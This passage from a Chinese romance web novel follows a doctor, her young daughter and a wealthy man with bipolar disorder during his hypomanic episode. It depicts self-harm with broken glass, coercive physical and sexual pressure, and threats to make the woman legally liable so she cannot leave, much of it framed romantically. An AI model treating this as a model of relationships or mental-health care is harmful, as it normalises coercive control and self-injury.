“不能,明天开始吃病号餐,我已经忍你很久了。”梁尔璐蹙眉,目光精准刺向女儿瞬间扯住林瀚睿衣袖的小动作,“梁双双,别以为你们同病相怜,是一个阵营了,全都得听我的话。”
避免与他多待,她放筷子上楼:“妈咪今天很累,你和靓仔叔叔玩吧。”
“靓仔叔叔,要抱。”
林瀚睿错愕女孩眨巴着眼的诉求,梁尔璐这社恐倒是养出了个亲近外人的小宝,他探看空无一人却缓响渐远脚步声的楼梯口,轻叹:“我也要……”
无措抱了孩子起身,他逛向客厅:“双双不开心啊,叔叔该怎么哄你?”
反而见她歪头,面露不解:“你不会吗?”
他应该会吗?林瀚睿理直气壮摇头:“不会,叔叔还没宝宝,你提示一下,妈咪平时怎么哄的。”
但不知怎么的,气氛略显尴尬。
“靓仔叔叔,你好没用,我的干爹们可会哄我了。”梁卓熹折腾着不乐意再被抱,短手短脚地攀上沙发置气,完全没多看男人一眼,“我不和笨蛋一起玩。”
“难怪妈咪不同意你当我的干爹,妈咪最聪明了,我要听妈咪的话。”
稚声宛如三支利箭,扎中林瀚睿心脏,他赶忙蹲沙发前:“你想吃什么?叔叔马上去做!”
岂料这孩子当即递来笑靥:“那也不是不行哦。”
鬼灵精怪的,无非是打算试探他能否会纵容她挑食。
家里不缺食材,林瀚睿思虑再三,拨通梁尔璐的电话:“双双不吃的菜未免太多。”
听筒对面却劈头盖脸训来话:“越不吃就越要加进去,谁惯的她?使劲加,不听话就搬出我,弄哭了?哭呗,谁管她啊,老娘辛辛苦苦做的饭,不吃就滚一边待着,相信我,她戏演够了会自己爬过去吃到舔空碗的。”
“梁尔璐,你好狠的心。”他一时没其余评价了。
“是啊,你深有感触,触景生情,情难自已,要哭了呢。”
满耳充满她因下班那事的报仇雪恨口吻,林瀚睿收敛笑腔:“不哭。”
此刻开始气急败坏:“喂,谁管你啊!小三,你不是很喜欢帮我带孩子吗?别再打电话给我,包括一切联系方式。”
挂断音利落,他弯唇,重新播放平板内的焖饭教程视频。
的确是懒人饭,林瀚睿趁热端了碗去梁尔璐卧室,放床头柜:“可以恋爱结婚,但不要生孩子。”
有个小孩正搁客厅嚎啕大哭。
一锅大乱炖食材的香味因高温迅速散开,梁尔璐瞥眼脸容疲惫的男人,轻笑:“谁要和你恋爱结婚,给你生孩子?”
敲门声打断她轻易降冷的氛围,便慢了神色无所谓的男人几步,掀开被子下床。
门外小萝卜丁似的女孩手捧饭碗,腮帮子鼓囊,仰脸瞅来:“妈……靓仔叔叔怎么会在我妈咪的房间呀?”
抓奸在床的冲击感强烈,林瀚睿面不改色,实话实说:“来告诉你妈咪,有不乖的小朋友挑食。”
梁卓熹小心翼翼地躲开母亲视线,扁嘴看向一旁:“靓仔叔叔,你是不是要和老婆离婚了?”
童言语出惊人,林瀚睿瞬间满头雾水,余光内是梁尔璐靠墙笑得直不起腰模样。
宝宝啊,还没结婚。
“你这么晚都不回家陪自己的老婆,一定是因为你们吵架了,你是不是让阿姨不开心了?快回家哄哄她嘛,不能让我妈咪被阿姨找麻烦的,你是笨蛋,做的饭也不好吃。”
竟是这么个逻辑,他远望小女孩的背影,如遭雷轰。
自己孩子什么机灵劲儿,梁尔璐最是清楚,差不多收了笑:“第一次做焖饭?我尝过了,好吃的,你个傻子……做成适合我的口味,双双怎么可能会喜欢?”
“你该睡了吧,洗完澡吃药,睡我这,双双很独立,习惯一个人睡。”她眼看林瀚睿重现笑容,便冷脸踢踢他的家居鞋边缘,“对了,你遣散佣人吧,我不习惯。”
“你女儿在,我已经不让他们喊你夫人了。”男人合眼复睁,眸中透了些商量的意味,
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“房子太大,你一个人会累。”
这显然已是他最大限度的退让,梁尔璐不再越线。
林瀚睿该是去自己卧室洗澡了,她收回关注门缝缩小的视线,赶紧跑向行李箱,确认猫耳发箍仍在不透明隔层内。
位置靠近窗,梁尔璐听清细嗲的猫叫。
山间黑魆魆,目光隐约抓着一抹白跳远消失,频频漫进的室外温度闷热,只消这会儿接触,她足够觉得烦躁。
即将抬手关窗的当口,余光瞥见房门旁的林瀚睿跑来,二话不说重力扯着她远离窗边,动作是少见的粗鲁,却又忽而停步拥紧她。
语气忍了些别样的情绪:“别走。”
梁尔璐疑惑,贴着他周身洗漱后的湿冷潮气:“我刚才听到猫叫,好冰,你没用热水洗澡吗?”
肩头的沉默延续,她近乎能辨清男人几不可闻的呼吸,略久才听他答非所问:“我妈是从窗户跳楼。”
“你能抱抱我吗?”
简短字句中仅含有少量希冀,根本比不上施加于她的拥抱力道般无可撼动,梁尔璐垂眼注视自己一直垂在身侧的手臂,抬起推拒着打破他可怜的期待:“睡吧。”
林瀚睿倒是没犟,由她顺当躺进被窝,不多时就感觉身旁下陷的落势,极快被他捞过腰与之面对面相卧。
男人双手拥抱的臂力狠重,亟待将她揉进身体里的冲动令梁尔璐骇然吃痛:“我真的不走……你别这样。”
无疑是熟悉的,一如之前酒店电梯内那次。
她强忍即将散架似的疼,从他怀中稍稍抬头:“你没吃双相障碍的药?”
林瀚睿面容绷直,冷白的额面沁出薄汗,隐现青筋脉络:“刚吃还没起效,现在是轻躁狂期,控制不了被害妄想,坚信你一定在骗我,也烦躁易怒……对不起。”
其实双方之间的距离已没空隙,但他仍然把她往怀里按。
梁尔璐痛得难耐,哼哼透气。
“对不起,就当我身上缺少了一块骨头,你用自己在填补。”
“你还挺文艺啊……”她嘶声,开始怀疑至今的职业生涯,“谁家骨科医生是这样治病的。”
“这种情况下你的嘴就让让我,别犟,否则你会受伤,我真的难以自控。”
男人合眸,微皱的五官泛出明显无奈,梁尔璐也没好到哪儿去:“你这么不相信,就占有我。”
“闭嘴!和处在躁期的我做.爱,你想死?对不起,我不是真心凶你。”林瀚睿试图理智,却依旧落败于混乱。
总感觉他这副死抗情绪化的模样挺痛,梁尔璐踌躇再三,目光盈满畏怯,仰头咬上他不安颤动的喉结。
仅是瞬息,她便被林瀚睿压在身下,男人直直相视而来的眸色幽暗如墨。
她舒眉。
活了,骨头舒服了。
明天骨头疼,是明天的事。
“药起效快吗?”一时情急,她忘记问这个了。
唇瓣处摁来林瀚睿指腹碾揉的力,深浅不一,他嗓音着欲:“理论上是一两个小时,梁医生知道我身体素质差,所以药物吸收速度会更慢,至于安眠药,是快的,但躁狂情绪能压制甚至消除睡意。”
“喂!你不早说,等等,昨天已经……别啊,我真会死的吧!”梁尔璐真服了,频频张口,脑子全然宕机。
男人却置若罔闻,挪开唇上的指节,转而在枕头按住她紧急往床沿攀的手腕,俯低脸的同时冷声:“看,你真的在骗我,你要走。”
“我要惩罚你。”
梁尔璐闭眼,但想象中压下的重量并未来临,唯独床骤然一轻的动静,慌乱脚步由浴室门落锁的响声彻底绝断。
第一次见他如此狼狈对抗病症的模样。
浴室静然,林瀚睿再次调了冷水冲澡。
夏季这样并不难受,他脑子却仿佛崩坏,一味地相信自己被梁尔璐欺骗,她只想逃,而他迫切想暴力占有她的念头达到顶点。
下午在办公室致她窒息时药效已经起,精神状态其实更正常些,但依然没控制住犯病。
雪亮灯光笼得香水瓶晶透刺眼,林瀚睿攥了往淋浴支架砸破,借玻璃碎块划伤左手五个指腹,血色顿时不息侵入倾泻的水液。
54.夏日
玻璃碎裂的猝然动静刺耳,梁尔璐跑向浴室,却也犹豫止步门前。
林瀚睿锁门的意思不言而喻。
试敲两下,没见人回应。
她掰转受到卡阻的长条状把手:“那你活着就吱一声?喂……你别死啊,否则你爸会怪我和谢柏延没照顾好你的。”
隔了段距离的水流照样哗然,可见他淋得有多狠,连带嗓音也使劲:“我说过了,你那张嘴今天就让让我,说点好听的话。”
“不说,我讨厌你,你才是骗子。”说出这话,她只得了一室沉默。
被梁尔璐讨厌了。
林瀚睿目眦欲裂地凝滞视线,冒血指腹的痛感持续,接连灼细了紧绷心弦。
分明处在躁期,他却郁得想死。
而短促有力的开锁声突兀,令他回神。
“太子爷,我来了!”
“好浓!我的香水……算了,太子爷有钱赔我十七八个的。”
“不愧是太子爷,没想到一元硬币就能开锁吧?”
“其实我是来重新刷牙的,全怪你那碗焖饭。”
布局俨然宽敞,梁尔璐走近些才探见淋浴间的玻璃轻轨,目光被地面的淋漓红水攫取。
她当即将茫然的林瀚睿扯离花洒下:“你疯了?十指连心痛!”
偶尔会有高烧不退的病人需要她扎指头穴位进行放血治疗,哭嚎得可惨。
“哑巴了?”顺手关停水,梁尔璐扶稳此刻弯腰抵着墙,绝对已是疼到头晕目眩想吐的男人,带去干燥的玻璃外壁靠坐。
也许一句哑巴说坏了,他出声反驳:“你可以去别的浴室刷牙。”
她听清林瀚睿语气中强压的嘶嘶颤意:“我就喜欢这间,不行吗?”
“充满回忆,是吧?”
“你这狗东西再说荤话试试?害我头发又湿了,自然卷发质真的很可怜!”
梁尔璐拂过几绺触碰面颊的湿发,撩去肩后,双手环住林瀚睿腰颈位置与玻璃未贴合的两处空隙:“我就勉为其难地抱抱你吧,药起效之前,你的狗爪子不准碰我!真的,我现在骨头还疼着……”
长时间冲冷水,失血且伤口沾水,这病弱祖宗可别感染发烧了。
不多拖延,她松开拥抱,瞥眼男人冷汗涔涔的苍白脸色,托高他的伤手之际,用抽取的几张洗脸巾用力压迫创面来止血。
整整五个,得疼死。
连她作为施救一方都下意识皱起五官,嘶声后仰。
因此听见林瀚睿漾声轻笑。
伤口深了点,出血量大,梁尔璐也同时按压指根两侧的血管。
掀开少许棉巾查看血流状况,她迅速换第二节手指处理:“你就是看我工作内容太闲了,给我找活干,万恶的资本家。”
是左手,她视线便情不自禁地落向手腕,四年前那个烫伤只留下了没太明显的淡疤。
明明是白净修长的漂亮妈生手。
“你倒是胆子大。”
林瀚睿看似无来由的话,剥离她盯在陈年旧事的流连忘返模样,梁尔璐敏锐反应过来他指的是什么:“怕你真死了,那我就……就会被你爸收拾。”
及时咽回“年纪轻轻守活寡了”,她拔高音量:“我刚才是不是让你别说荤话了?狗东西!”
没承想他真久久地闭嘴了,仿佛除此以外,不会说其余正常人话。
算是落个安生,梁尔璐依次止了血,细致擦去伤口边缘的血渍:“别动,还得给你消毒包扎,我去拿一下东西。”
“出去,你以为这一点痛就能让我彻底冷静?别让我看见你,听见你的声音。”
“哎,你怎么油盐不进?”她怔忡得很,完全是被神色隐忍的林瀚睿推出了浴室,傻傻被他关门前扔下一句“不会自残了”。
但他这也仅是回光返照似的几瞬蛮力。
梁尔璐单手轻易推开即将闭合的门板,瞪看晕乎着站不太稳的犯愣男人:“你在骗我,你有前科!”
她捞过浴巾替林瀚睿囫囵擦拭身上肆意淌落的水,而后借助一跳,抛扔的长布条精准盖住了他湿漉脑袋。
省得他发犟脾气,梁尔璐趁机拽人离开潮冷浴室,凶巴巴地给安进被窝:“敢乱跑,我就用无情铁手让你整个晚上都没得睡,让小太子爷痛死!”
“你会吗?”揶揄的男声明显虚浮,如同洇出孱弱病色的脸容。
她倏地愣,理不直气也壮,面红耳赤间嗓门特别大:“我不会!”
“看来你老公舍不得你这双漂亮的手脏累,我也舍不得。”
梁尔璐正蹲在墙角的行李箱旁翻找碘酒棒与创口贴,险些被这荤滑黏腻的语意击溃理智。
杀人犯法。杀人犯法。
她坐回床沿,见林瀚睿垂眸皱眉着擦头发,乌黑尽数后捋,偶有丝绺松散地重新落回光洁额前:“是不是没太恶心犯晕了?手指受伤严重是这样的,等躺下会更好。”
“梁尔璐。”
闻声停下消毒动作,映入她眼帘的男人面廓紧绷,显然在忍耐什么。
“我不自残,就会想弄疼你,你放过我。”
道理她都懂,梁尔璐左右为难:“可,可是……你什么时候会变抑郁啊?”
岂料林瀚睿勾唇扯了笑:“宝宝,你真可爱,是病控制我。”
她当然是害怕的,虽已到收尾阶段,同样不免加快处理伤口的动作,再三确保五个指头的包扎足够服帖,梁尔璐第一时间缩回双手,欲言又止,局促交汇他情绪未明的寡淡眸光。
“那我教你,下一步需要为我换衣服。”
以为看错男人流转的平静眼波,她再次撞入这对无甚起伏的视线,却荡然惹得脑袋轰轰。
回神却察觉已被他牵手带到自己卧室,刚搬来不久,生活痕迹微末,窗台摆了一盏香薰蜡烛,暖黄的火点昏昧,呼吸之间因而浅浅漂浮寂冷的山雪气息。
时间似乎被摇曳的火光晃慢,梁尔璐扒去衣帽间的门框,半捂了双眼观察他是否自伤:“为什么你犯病了不会那种语速很快的胡说八道?有点逻辑但不多,哦对,叫思维奔逸。”
就算衣帽间偏大,林瀚睿也绝对是听清了,可连小半声都没搭理她。
指甲尴尬划弄玻璃的响声刺挠耳朵,她更悻悻:“你别误会,我没把你的病当乐子看,意思是难道你的躁狂症不严重?”
透过指缝内的狭窄视线,她站远避开换了身干整睡衣的林瀚睿,愣怔发现男人的脚步停她身侧。
梁尔璐岔开眼前并拢的双指,做错事般怯怯注视他,心悸在他趁势公主抱的动作中加快不少。
到底确不准男人是否生气,她抿唇。
怎知他另开了话题:“没见过我脱光?”
“你不害臊!好好说话!”短短几分钟,这类话的含量却过高,梁尔璐羞恼。
“环形双相障碍的轻躁狂状态本就没达到躁狂症标准,但也会思维奔逸,只是目前我大脑接收的更多是疼痛,思维和注意力暂时迟缓,除了这个,同样情绪高昂,喜欢开玩笑,并非我不害臊。”
林瀚睿坐进另一侧被窝,单手揽抱她,力气照旧泛重,好在没刚才那么痛,梁尔璐接过他递的pad。
“还有失控的物欲,买。”
屏幕上的购物APP首页赫然,她沉默片刻,从男人怀里抬头:“你想花多少钱?”
“想让林家破产。”毁天灭地的口吻。
梁尔璐咋舌,讶异他神情平平地道出这话。
她老老实实选昂贵商品加入购物车,手却被林瀚睿握向紧挨的立即购买键,且一刻不停在付款页面输完支付密码,轻巧而豪气。
买得她全程不忍直视地摇头,断续啊叫着拒绝。
网购一个将近二十万元的手镯?
“我说过了,让你买!对你太凶了,对不起。”
目睹林瀚睿抗拒两极分化情绪而皱拢的眉宇,梁尔璐无奈:“我买,我买!你别……别这样道歉了,好累的感觉,我知道你不是故意的。”
她买买买!
“你刚才是在做.爱吗?叫半天,不要不要。”
梁尔璐恨不得睁圆的双眼也化作血盆大口,连同嘴巴将林瀚睿多管齐下地生吞了:“我没有!太子爷,请问您能不能控制一下开我玩笑的冲动呢?”
得他眸意揪扯,五官忍出难色:“控制不了,抱歉。”
她丧丧脸,将就着叹气:“要么给双双买东西吧,小孩子长太快,衣服只能买得勤,而且现在这个时代,儿童服装贵到像大人的。”
“买。”
一时语塞,梁尔璐找回声音:“你就像我闺蜜,明明我是去找她剁手省钱的,结果这好姐妹只撂句‘买它’。”
唯恐林瀚睿又头脑灵活地弄点荤涩废话,她试图伸手捂嘴,却被他扳过下巴,抢先深暗了目光,凝视而来。
“你老公也会这样对你说。”
那他还真是法定老公,但梁尔璐转念,琢磨着也要玩小三游戏:“你做梦!我有老公了!”
意料之中,话音未落就遭男人愈发箍紧双肩,她直觉疼便虚声哼唧,随后羞耻地捂住嘴。
林瀚睿自然是听见了:“挺娇,你老公有福气。”
此时装聋作哑为上上策,梁尔璐掰掉钳制了她下巴的五指,热乎乎的,应是他指骨接触区域压出了皮肤下积聚的血痕,尚未散匀泛白。
“狗爪子……”轻喃着怨怼,她搜到经常光顾的童装店,余光发现林瀚睿认真跟随屏幕内容的视线。
“女装店只有母女亲子装,父亲怎么办?”
她顿时感觉好笑:“太子爷,你怎么一点都不懂啊?有些款式男孩女孩都能穿的,所以父母也行,你看这套就是。”
受到不食人间烟火的调侃,男人表情反而极其无所谓,眼神端的是个理所当然意味:“我又没老婆孩子,要这个。”
“我不要这个。”梁尔璐烦他这仍未见好就收的戏瘾。
可只换来他态度强硬的对抗:“我要。”
单方面停下大眼瞪小眼的阵仗,她顾忌林瀚睿目前忍得辛苦才像个正常人:“行吧,反正是花你的钱。”
懒得多与他掰扯,梁尔璐一门心思扑在女儿的家当上,下单了大堆,入神之际倏地错愕,林瀚睿竟将脑袋埋进她颈窝,手臂顺势搭扣腰身环紧,转为他黏人依附的姿态。
“你抑郁了吗?”
男人摇头,牵连的发丝蹭痒她肌肤:“帮我拿第二格抽屉里那盒喹硫平。”
梁尔璐略微倾侧开颈子:“你要加量吃?这得先问过医生吧。”
“我最近吃的一直是精神稳定剂,嗜睡副作用对我没用,喹硫平是抗精神病药,有效嗜睡,甚至比安眠药快,但吃了也会堵鼻子,呼吸不畅,你需要防着点我的哮喘。”
林瀚睿泛闷的语速偏快,胜在充满逻辑。
她心情复杂:“别吃了,你知道我四年前嗜睡有多难受的,还没跟你说过呢,是因为被下药了。”
男人并未意外的一声轻笑掺杂叹意,梁尔璐生愣。
“你在酒店被下药,是我救的。”
“但你在度假村怎么
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能下意识认为是我哥救的?”
她因欲言又止而断续张合的嘴失措,随即由林瀚睿抬起的微颤手掌轻轻捂住。
显而易见,他这是在强忍使劲的冲动,令嗓音也沾染些许挣扎力道:“是我教的。”
“是我救的。”
“哦。”梁尔璐瞬间明白他当初想说却不可说,最终被作罢替换的,竟然是这四个字。
“只是这样?”
伴着男人笑意,呵到她颈沿的热息,出乎意料发烫。
她赶忙解释:“啊……不不是,谢谢你!”
腰间的力道大幅度收拢,梁尔璐吃痛着松开了平板,因林瀚睿这动作更加嵌入他的怀内。
“我不需要感谢,只想你以身相许。”
她感念不假,却也不服:“你这是强买强卖。”
“我连小三都做了,有什么不敢?夫人上了我的床,还想回老公的温柔乡?”
林瀚睿抬头,凝看梁尔璐沉默以待的脸容。
分明是有什么异常,但他的思维更多是不受控,蒙蔽了残余理智:“夫人,我知道自己和你老公的差距在哪了,他无非就是父凭子贵。”
垂眸后悔说出口的话,他锁眉,重新上掀了目光,却惊觉梁尔璐正无声落泪。
怔神间,被她结结实实打了一耳光。
怀里空无一物的状态,使林瀚睿心生强烈不爽,任他怎么自我告诫都难敌急切抓回她的行动力。
梁尔璐奔向门的中途迎面遭拦,只得推拒、拍打林瀚睿强迫意味过重的拥抱。
“对不起,以前就说好绝对不会让你生第二个孩子,我一定把双双当亲生女儿。”
可不知怎么,她涌出的哭腔更凶。
压根没这么委屈过,梁尔璐实在受不了林瀚睿越演越来劲,说得她像个和男人乱搞的随便女人一样。
天杀的,她偏偏又无法离开,还得关注这气人家伙深夜会否突发哮喘。
光想到就头疼,梁尔璐彻底止不了眼泪,哪怕林瀚睿已松开拥抱。
模糊视线中偶有零星清明,她未料男人眸色抑得倏暗,往她双肩沉落禁锢气力:“你就这么不愿意和我在一起。”
是陈述,而非反问。
她丝毫没机会说话,随即被林瀚睿抵去门板,唇隙间密集侵实的力道轻中含劲,像是在践行他之前所说的惩罚。
梁尔璐持续昏沉,逐渐丧失了对时间的判断能力,一门之隔的走廊外却突然响起渺远敲门声,她齿关下意识磕到呼吸内扫荡的游离。
隐约听见女儿在拍隔壁她卧室的门。
“妈咪,双双吃完饭了哦,可是还没长高,要妈咪开门的。”
“妈咪。”
她挣,却完全由林瀚睿制停在方寸之地。
童音稍断,扣敲的动静竟换到她贴靠的这扇门后。
“靓仔叔叔,妈咪好像在睡觉,你可以帮帮我吗?像上次那样开门,双双好困啊。”
“不愿意和我在一起?”
林瀚睿抬手拢她沁汗的额发:“让你女儿看看我们在做什么?”
敲声如邻耳畔,梁尔璐清楚他必是能做出这种疯狂行径的人,吓得仓皇摇头,理睬神情不耐的男人:“愿意……愿意!”
听他笑嗓内混了个“乖”。
她咬唇瞪看这眉梢衔了笑意,拨通电话的混蛋。
“三楼东,送小姐回卧室。”
却不懂他为什么倾身凑来,随即才觉耳廓被咬碾小会儿,她瞳孔骤缩,掩嘴止声。
林瀚睿闷哼一声,眸中浮漾的兴味浓盛:“别紧张,已经挂断了。”
“梁医生,愿意让我吃药了吗?”
“吃,多吃点,一秒就睡,睡死你!”梁尔璐心下发狠,卯足了劲推开他,闹脾气似地撑坐在地。
变故太过突然,林瀚睿收敛讶异,垂眸睨她,喑声沉涩地低笑:“让你别紧张,你倒是真够放松的。”
梁尔璐憋着一股情绪,不愿回应他任何。
制住腰眼处作祟的点点意犹未尽,林瀚睿勾唇:“地上脏,我去浴室研究一下那个拖把该怎么用。”
脚步渐远,梁尔璐抬头望他恼人的背影。
虽说是病症导致他这副没个正形的混不吝模样,但倘若原本就是如此鲜活外放的性格,应该也不容易生病了吧。
她栽地坐了一阵子,俯身捂住的生酥肚腹算是平缓些麻感,而床头柜的手机响来电铃声,便赶去接听,累得只开免提。
女儿语气激动:“妈咪!”
梁尔璐倚靠床沿歇坐,扯过一手的夏被,软绵绵拢进怀里缓解疲惫感:“嗯,宝贝怎么了?”
“妈咪妈咪!管家阿姨说靓仔叔叔是我的爹地,真的吗?”
“不是!假的!”她瞬间挂断电话,受惊站起,碍于腿软失稳,被林瀚睿拦腰扶抱在身侧。
林瀚睿以目描摹般,视线分寸游移她薄红脸上的懵然:“会是真的。”
“不会是真的。”梁尔璐剜他眼刀子,再度推开这具身形,走向浴室。
身后并未有重重压迫她心弦的脚步,仅传来他调笑的嗓音:“在散味道,你洗澡前记得关窗。”
她听得左耳进右耳出,半道却匆忙转身:“你吃药给我看。”
目不转睛盯林瀚睿吃下两片药,梁尔璐松了口气:“太子爷,您请睡。”
“可我还要先拖地,踩水会滑倒。”
她无力反驳到语塞,琢磨半天也只对他比划出一个大拇指。
这谁能不夸一句太子爷贤惠啊。
55.夏日
梁尔璐的睡眠质量极少差劲,细想每次都或多或少与林瀚睿有关。
夏日最烈时段的阳光透入窗帘缝隙,娑影斑驳地落在微隆薄被。
她杵床边,盯看背对昼亮侧睡的男人,一再确定此刻已过下午两点,这病秧子自从昨晚吃药后半小时以内就入睡,目前仍然沉沉嗜睡。
肯定是提前请了假,导致替他安排的从零开始病号餐计划,第一天便被打乱了。
梁尔璐头疼,瞥看床头柜上留有热气的饭菜,得亏气候原因,不容易放凉。
横竖也睡够十几个小时,她打消了心底的犹豫。
叫醒人倒并不难,唯独担心林瀚睿远去浴室的瞌睡背影磕碰着哪儿。
放宽心的一瞬却听浴室传出重物掉落的响声,梁尔璐算被吓了个激灵。
她讶异竟是林瀚睿亲自砸地,赶忙扶起这疑似昏迷的不省心家伙,使其靠在自己肩头:“醒醒……醒醒。”
纯属有惊无险的晕倒,男人昏沉恢复意识,双眸缓睁,翕动频率尽显病恹。
梁尔璐实在纳闷不已:“你饿晕了?”
但若论反应也并未迟钝,毕竟他趁近水楼台,自然而然地环紧她腰身:“断药一些周期之后吃喹硫平,副作用会更严重,刚才是因为体位性低血压。”
梁尔璐对他这脆皮程度感到生疏:“笨,你昨天怎么不早说还有这副作用!我这就给你施温针灸。”
所需的用具全在自己卧室,她着急将人安回床上,转身之际却被林瀚睿喊停:“死不了,我只想你陪我吃饭。”
闭眼忍耐他的恋爱脑,她坐床沿舀汤:“那你先喝点带盐份的汤水,那个煎虾肉,我是裹了一遍炒过起沙的咸蛋黄,乱做的,可能会难吃。”
“厨子不尝?”
男人调侃的笑腔勉强沾染些活气,梁尔璐递碗的动作稍滞。
“对啊,我又不是第一次让太子爷率先试毒了。”夹拢的筷间空落,她琢磨林瀚睿咀嚼与五官变动的幅度是否处于能忍范围内,“咸蛋黄的腥气重吗?虽然我炒的时候也放了少许葱花。”
得他起伏正常的答案:“没毒,你别这么看我,怕羞。”
梁尔璐不挪半分视线,深呼吸压下揍人冲动:“你别又骗我?”
“没骗你。”
她狐疑吃下男人侧身搛取而微笑递来嘴边的一个,眼瞳不由泛亮:“居然不是黑暗料理,下次给双双做。”
煎菜开胃但油腻,她示意盘子内的蒸排骨:“你在我家茶楼点一份的话,很贵。”
“你在我家酒店点一份,更贵。”
“是我在太子爷面前班门弄斧了。”梁尔璐瞪他毫无装穷意味的金贵相貌气质,想起刚才未完的话题,“说起来是时候该把双双送走,我还打算让她去书法补习班。”
“书法补习班?不打算直接让我哥教?他没到三十岁就已经是业界知名大师,你怎么舍近求远?”
她本想掐断林瀚睿酸气的吃醋环节,归根结底还是选择了忍耐:“请停一下你的恋爱脑……这样跟你说吧,她那个小竹马属于是哪怕妹妹在国外,也会立刻飞过去找的人,到时候带两个小孩,我要烦死了。”
话声稍顿,梁尔璐丢他嫌弃眼神:“不对,是三个。”
却见他乐见其成的笑容:“那你就只带一个。”
“你这一个根本就甩不掉。”她也根本笑不出来,默脸注视男人眸中的眷意,并非是桃花眼自带的深情。
“我也是这样。”
梁尔璐愣住,意识到他岔开原有逻辑,重返前话,指的是和女儿竹马同样难缠……所以她是半点都没说错。
收敛犯愁的情绪,她撇了目光,几乎没什么瞬息间隔,又听林瀚睿挑起新话题。
“外婆那天没跟我聊母亲的事,只提了你。”
她正伸手去撕炸鸡腿的脆皮,但莫名其妙做贼似地缩回手,喝了口汤压惊。
“让我带你去吃饭。”
怀疑听错,梁尔璐难以置信:“等等,这么简单?那你为什么要喝酒买醉啊?”
她试图捕捉男人平淡面色中蕴着的深意,但无果。
“劝你和我分开,我的断头饭。”
林瀚睿语气内似乎溢些含混不清的笑嗓,继而沉静添声:“就算是我妈,也拦不了我。”
分明是沾惹戾气的狠话,却显寡味。
梁尔璐咽口唾沫:“真的一大堆人误会我,明明我又没和你在一起,只是工作关系,而已。”
壮胆加完程度词,她当即跑出卧室。
惹不起还躲得起。
待女儿房间缓了会儿,她硬着头皮返回,竟没发现林瀚睿,随即是找遍了整个别墅也不见他踪影。
*
林瀚睿收到寻人消息时,身处梁奕珩的画室。
简单答复了“上班”,他低眸注视正往古朴绢纸落墨的男人:“你还没回答。”
“我想怎么处理父母?就按你说的吃牢饭,其实他们无论死活都不关我事,甚至,你不用管这件事,被打的每一次全是因为我乐意,自虐解压。”
“但既然她上心多年,你就办得绝顶漂亮。”
“弟弟怎么这样看我?觉得看不透我?”梁奕珩搁笔,“送你了,需要我亲自装裱吗?”
相应工作台在稍远的另侧,大半幅的字迹未收干,他暂时懒得动腿走过去,等待期间,耳边除了林瀚睿评价的“神经病”,也听见一声毫无征兆的响。
梁奕珩循声垂眼,突然倒地但还有意识的药罐子弟弟,此刻试图支起沉重身体,可惜废得不行。
他无奈蹲下,趁人迷糊好欺负,搭住病态白手腕上过分清晰的脉:“弟,你再这样亏虚下去,就离死不远了。”
哪知这小子反应极大地皱眉甩开他手,颤巍巍站起,靠墙缓劲:“半吊子别给我看病!”
倒是一如既往叛逆,梁奕珩勾唇笑得不耐:“林家那些破事先放放,光你这种靠钱砸才能续的命,还想困住一个人的后半生?”
室内灯光灼亮,将林瀚睿半垂的面廓拂出偏暗弧影。
眼看他迟迟不作声,梁奕珩上前揪住衣领,狠声:“你放手吧?”
“你打啊,她只会心疼我。”
他算是被林瀚睿眼中积聚而盘亘的执拗气笑,二话不说揍了一拳才松手:“打你就打你,我都被她心疼到数不清次数了,哪像你?后来居上,五年?好笑,算下来也就相处三个月不到吧?”
“我怎么知道?你谈女朋友还是女性朋友,一眼看穿的事,当年懒得说你而已,没想到你越来越不知收敛!”
“哥哥这是后悔了。”
“是又怎么样?”
瞥眼他唇际的血色,梁奕珩才觉得他勉强多了点活人生气。
“我也可以像你这样无所谓她的意愿,永远把她留在身边,她恨我没关系,我爱她就够,毕竟只要我抢,你绝对输。所以你算什么?对梁家和你母族来说全是弃子,只有林家需要你,不过也只是利用你。”
及时收住糟糕脾气,梁奕珩暗暗深呼吸:“这是你自找的,别怪我说话难听,原本看你来了,写会儿书法修身养性,忍着你……谁忍得了你啊?”
因此也并不意外林瀚睿继续招嫌弃,笑意讥讽:“所以你不同样是被利用,却还要听话守着一个半点都不爱你的人,可我和她再不济也有过感情。”
“别成天念叨你那过期变质的感情,不止四年前,我刚才也说过了。”无非是上次对峙时听过的老套话术,梁奕珩只觉滑稽可笑,“我们兄弟俩都是卑劣至极的坏东西,疯起来,得到她的人就足够。”
懒于多说,他拿过桌沿的手机:“以前你问干娘还留给我什么,u盘年代久远破了,文件有备份。”
一顿点按,如愿见到林瀚睿收着个音频便转身开门的利落身形。
*
关上门,梁尔璐走向楼梯,挑眉扫视平板内的别墅监控画面,熄了屏。
男人真烦。
她纯粹试试看的,猜测林瀚睿不一定是去上班,可能想念哥哥,谁
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知一举成功,却难捱好奇心的催发,不受控看了场大戏。
这兄弟俩,全是神经病。
至于林瀚睿,回来肯定要找她发疯,好在她习惯了。
疯不死她的,始终能犟。
寻思自己也是太无聊,梁尔璐在地图搜索了他返程所需的时长。
掐准男人踏进客厅大门的分秒,她双击身侧沙发上的手机屏幕,瞥了眼时间。
差不多,甚至快了将近十分钟。
结论出乎意料之内,不如播放的综艺节目有趣,梁尔璐一言不发,任由林瀚睿坐来身旁,总之余光没接收到他灼灼的视线。
语气也寡淡:“梁医生,帮我上药。”
“怎么,公司进了法外狂徒?竟敢打太子爷?”放弃琢磨男人这份平静,她转头,“哎呀,好严重,再不愈合就需要动手术了。”
林瀚睿却是很轻地落一声笑:“三天之内,我已经给你上过两次药。”
相反,这话实在太重了……
梁尔璐当即涨红着脸,紧捂耳朵,恨自己居然忘记这事:“知道了!”
万般不情愿拖出茶几下的医药箱,她翻找时碰到一小盒药膏,烫手似地匆忙扒拉到旁边。
经他“善意”提醒:“不是同一支。”
废话,她装没听见。
借助棉签替男人嘴角的创面消毒,梁尔璐仅将视线定定聚焦在伤口,这次余光能深切感受到林瀚睿的凝视。
“我送你一条街。”
分明是极尽慷慨的馈赠,她居然莫名察觉几分恶劣态度。
难说具体哪里奇怪,就干脆直拒:“不用,我本来就是包租婆二代。”
义正言辞没能换来林瀚睿丝毫让步,反而令他面容浮现不容商榷的笑意:“只是通知你,我会把你调岗,如果这个文旅项目出任何问题,将由经手每一文件的你担责。”
“无论你是否爱我,都休想离开我。”
梁尔璐连惊带怕:“别啊!我吃牢饭了就离开你了,你为什么这么喜欢送人吃牢饭……”
到了话尾才察觉说错,她慌乱捂嘴,怯视男人。
他倒是语气轻飘,患伤的唇角衔一抹笑:“我怎么舍得让你吃牢饭?难得说几句没逻辑的话,就诈出了你,下次和我玩之前,提高你的演技,也别破绽百出地看时间。”
